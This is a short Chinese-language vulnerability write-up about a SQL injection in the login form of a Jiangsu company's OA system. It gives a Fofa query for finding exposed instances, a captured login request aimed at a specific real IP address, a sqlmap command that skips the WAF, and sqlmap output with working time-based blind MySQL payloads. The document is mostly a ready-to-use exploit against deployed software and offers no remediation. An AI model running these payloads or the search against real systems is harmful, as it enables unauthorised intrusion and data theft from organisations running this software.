江苏叁拾叁信息技术有限公司 OA 存在 sql 注入

Fofa

app="江苏叁拾叁-OA"

部分界面如下

经测试，登陆界面存在注入漏洞隐患，隐患参数为 username,bp 抓包验证如下

POST /login HTTP/1.1
Host: 58.215.220.238:9090
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://58.215.220.238:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://58.215.220.238:9090/login.jsp

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=AD52C9F9D7D46303431351876BBA1536

Connection: close

username=-1&password=-1

sqlmap 语句

python3 sqlmap.py -r 1.txt -v3 --skip-waf

```
uristic tests showed that the back-end DBMS could be 'None'
[23:02:50] [DEBUG] skipping test 'MySQL UNION query (random number) - 41 to 50 columns' becau
se the heuristic tests showed that the back-end DBMS could be 'None'
[23:02:50] [WARNING] POST parameter 'password' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 94 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=-1' AND (SELECT 9107 FROM (SELECT(SLEEP(5)))mLzK) AND 'xMLX'='xMLX&pass
word=-1
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME
]))))))[RANDSTR])
---
[23:02:50] [INFO] the back-end DBMS is MySQL
[23:02:50] [PAYLOAD] -1' AND (SELECT 2534 FROM (SELECT(SLEEP(5-(IF(VERSION() LIKE 0x254d61726
961444225,0,5)))))XlLL) AND 'ezCX'='ezCX
[23:02:50] [WARNING] it is very important to not stress the network connection during usage o
f time-based payloads to prevent potential disruptions
[23:02:50] [PAYLOAD] -1' AND (SELECT 8392 FROM (SELECT(SLEEP(5-(IF(VERSION() LIKE 0x255469444
225,0,5)))))DhUf) AND 'NShW'='NShW
[23:02:50] [PAYLOAD] -1' AND (SELECT 7013 FROM (SELECT(SLEEP(5-(IF(@@VERSION_COMMENT LIKE 0x2
56472697a7a6c6525,0,5)))))Icpf) AND 'fERM'='fERM
[23:02:50] [PAYLOAD] -1' AND (SELECT 1095 FROM (SELECT(SLEEP(5-(IF(@@VERSION_COMMENT LIKE 0x2
5506572636f6e6125,0,5)))))SiHG) AND 'PkKV'='PkKV
[23:02:51] [PAYLOAD] -1' AND (SELECT 4471 FROM (SELECT(SLEEP(5-(IF(AURORA_VERSION() LIKE 0x25
,0,5)))))wsxp) AND 'IkOs'='IkOs
back-end DBMS: MySQL >= 5.0.12
[23:02:51] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/5
8.215.220.238'

[*] ending @ 23:02:51 /2023-01-30/
```